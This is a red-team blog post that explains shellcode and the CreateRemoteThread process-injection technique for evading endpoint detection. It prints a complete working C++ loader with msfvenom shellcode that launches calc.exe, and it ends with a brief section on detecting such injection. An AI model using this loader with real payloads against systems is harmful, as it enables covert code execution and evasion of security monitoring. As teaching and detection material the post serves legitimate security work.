Dharani Sanjay
Offensive Security Engineer
- January 23, 2024
- 7:25 pm
- No Comments
True red team assessments require a secondary objective of avoiding detection. Part of the glory of a successful red team assessment is not getting detected by anything or anyone on the system. As modern Endpoint Detection and Response (EDR) products have matured over the years, the red teams must follow suit. This blog post will provide some insights into how the Secureinteli’s Offensive security team crafts payloads to bypass modern EDR products and get full command and control (C2) on their victims’ systems.
Shellcode injection or its execution is our favorite method for launching our C2 payload on a victim system; but what is shellcode? Michael Sikorski defines shellcode as a “…term commonly used to describe any piece of self-contained executable code” (Practical Malware Analysis). Most commercial Penetration Testing Frameworks such as Empire, Cobalt Strike, or Metasploit have a shellcode generator built into the tool. The shellcode generator is generally in either a binary format or hex format depending on whether you generate it as raw output or as an application source.
Why do we use shellcodes for all our payloads?
The use of shellcode in our red team assessment payloads allows us to be incredibly flexible in the type of payload we use. Shellcode runners can be in written in a wide range of programming languages that can be incorporated into many types of payloads. This flexibility allows us to customize our payloads to support the specific needs of our clients and of any given situation that may arise during a red team assessment. Since shellcode can be launched from inside a payload or injected into an already running process, we can use several techniques to increase the ability of our payloads to evade detection from EDR products depending on the scenario and technology in place in the target environment. Several techniques exist for obfuscating shellcode, such as encryption and custom encoding, that make it difficult for EDR products to detect shellcode from commercial C2 tools on its own. The flexibility and evasive properties of shellcode are the primary reason that we rely heavily on shellcode-based payloads during red team assessments.
Shellcode Injection Vs. Execution
One of the most crucial parts of any red team assessment is developing a payload that will successfully, reliably, and stealthily run on the target system. Payloads can either execute shellcode from within its own process or inject shellcode into the address space of another process that will ultimately execute the shellcode. For the purposes of this blog post we’ll refer to shellcode injection as shellcode executed inside a remote process.
Shellcode injection is one technique that red teams and malicious attackers use to avoid detection from EDR products and network defenders. Additionally, many EDR products implement detections based on expected behaviour of windows processes. For example, an attacker that executes Mimikatz from the context of an arbitrary process, let’s say notepad.exe, may get detected or blocked outright because the EDR tool does not expect that process to access lsass.exe. However, by injecting into a windows process, such as svchost.exe, that regularly touches lsass.exe, it may be possible to bypass these detections because the EDR product sees this as an expected behaviour.
In this blog post, we’ll cover the following technique for running shellcode.
Create Remote Thread
The following is a high-level outline of the process for running shellcode with this technique.
- Get the process ID of the process to inject into
- Open the target process.
- Allocate executable memory within the target process.
- Write shellcode into the allocated memory.
- Create a thread in the remote process with the start address of the allocated memory segment.
Command Execution
Let’s break down what we’ve talked about so far:
- Malicious code is your shellcode — the stage 0 or stage 1 code that is truly going to do the malicious work.
- Standard “shellcode runner” application which executes your code via either injection or execution. Mostly everyone writes their own shellcode runner, so we don’t necessarily deem this as true malware, the real malware is the shellcode itself.
Shellcode Loader:
We will be developing our shellcode loader in C++ and will be using Visual Studio for compilation purposes.
The overall code will end up like this.
#include
#include
HANDLE hProcess, hThread;
LPVOID rBuffer;
BOOL vp, WriteMem;
DWORD PID, TID;
DWORD oldprotect = NULL;
//shellcode for calc.exe generated using msfvenom
//command used: msfvenom --platform windows -p windows/exec cmd=calc.exe -f c -a x64
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[-] Usage: Program.exe \n");
return EXIT_FAILURE;
}
PID = atoi(argv[1]);
//Opening the remote process that is specified as PID argument.
hProcess = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
PID
);
printf("[*] Trying to open a handle to the process %ld\n", PID);
if (hProcess == NULL) {
printf("[!] Couldn't able to get a handle to the process %ld\n. Exiting with error %ld", PID, GetLastError());
return EXIT_FAILURE;
}
Sleep(240);
printf("[+] Got an handle to the process at 0x%p\n", hProcess);
//Code to allocate virtual memory in the target process
rBuffer = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE
);
printf("[+] Attempting to allocate memory..\n");
if (rBuffer == NULL) {
printf("[!] Memory allocation failed with error %ld\n", GetLastError());
return EXIT_FAILURE;
}
Sleep(240);
printf("[+] Memory allocation is successful\n");
printf("[+] Memory allocated at 0x%p\n", rBuffer);
//Changing the protection(execution type) from READ_WRITE to EXECUTE_READWRITE
vp = VirtualProtectEx(
hProcess,
rBuffer,
sizeof(shellcode),
PAGE_EXECUTE_READWRITE,
&oldprotect
);
printf("[*] Attempting to change the memory protection type\n");
if (vp == NULL) {
printf("[!] Failed changing the memory permission. Error %ld", GetLastError());
return EXIT_FAILURE;
}
Sleep(240);
printf("[+] Changed the memory protection to PAGE_EXECUTE_READWRITE\n");
//Writing the memory to the buffer
WriteMem = WriteProcessMemory(
hProcess,
rBuffer,
shellcode,
sizeof(shellcode),
NULL
);
printf("[*] Attempting to write the payload into memory\n");
if (WriteMem == NULL) {
printf("[!] Unable to write payload into the memory 0x%p Error: %ld", rBuffer, GetLastError());
return EXIT_FAILURE;
}
Sleep(240);
printf("[+] Successfully written the payload to the memory\n");
//getchar();
//Creating the handle for thread execution
hThread = CreateRemoteThreadEx(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)rBuffer,
NULL,
0,
NULL,
&TID
);
printf("[*] Trying to create the remote thread for payload execution\n");
if (hThread == NULL) {
printf("[!] Couldn't able to create a thread. Error %ld", GetLastError());
return EXIT_FAILURE;
}
Sleep(240);
printf("[+] Successfully created the thread for payload execution\n");
CloseHandle(hProcess);
CloseHandle(hThread);
printf("[+] Attempting to execute the shellcode\n");
Sleep(240);
printf("[+] Shellcode execution succeeded\n");
return EXIT_SUCCESS;
}
This code upon execution will pop-up a calculator. Note that here we are using the shellcode of calc.exe for PoC purposes. One can use any kind of shellcode for their choice.
Proof Of Concept:
I have compiled the program and saved it as “shellcodeLoader.exe” and moved it to the test environment which in this case we are calling it as VICTIM VM.
Running the program without giving any arguments will show us the usage/help menu of the program.
Here, PID is the process ID of the sacrificial process that we will create in-order to inject our shellcode into it. One can get the PID using different ways like opening “Task Manager” or using the “tasklist” command in cmd prompt.
Now, we can execute our shellcode into the target process and see whether our loader works or not.
Successful execution resulted in the execution of calculator.
We can see that our shellcode loader successfully injected the shellcode into the target process and opened a calculator.
Modern Detections for Shellcode Injection:
When process injection occurs, one process modifies the memory protections of a memory region in another process’s address space. By detecting the use of API calls such as VirtualProtectEx that result in one process modifying the memory protections of address space allowed to another process, especially when the PAGE_EXECUTE_READWRITE permissions are used as this permission is used to allow the shellcode to be written and executed within the same memory space.
As red teamers and malicious actors continue to develop new process injection techniques, network defenders and security software continue to adapt to the ever-changing landscape. Monitoring Windows API function calls such as VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, and NTQueueAPCThread can provide valuable data for identifying potential malware. Monitoring for the use of CreateProcess with the CREATE_SUSPENDED and CREATE_HIDDEN flags may assist in detecting process injection where the attacker creates a suspended and hidden process to inject into.
As we’ve seen, process injection techniques tend to follow a consistent order in which they call Windows API functions. For example, both injection techniques call VirtualAllocEx followed by WriteProcessMemory and identifying when a process calls these two APIs in that order can be used as a basis for detecting process injection.
Conclusion
Using shellcode as the final stage for payloads during assessments allows Red Teams the flexibility to execute payloads in a wide array of environments while implementing techniques to avoid detection. Detections for the execution of process injection at the API and process level should be incorporated into defensive methodology, as attackers are increasingly being forced into living off the land with the increased adoption of application whitelisting.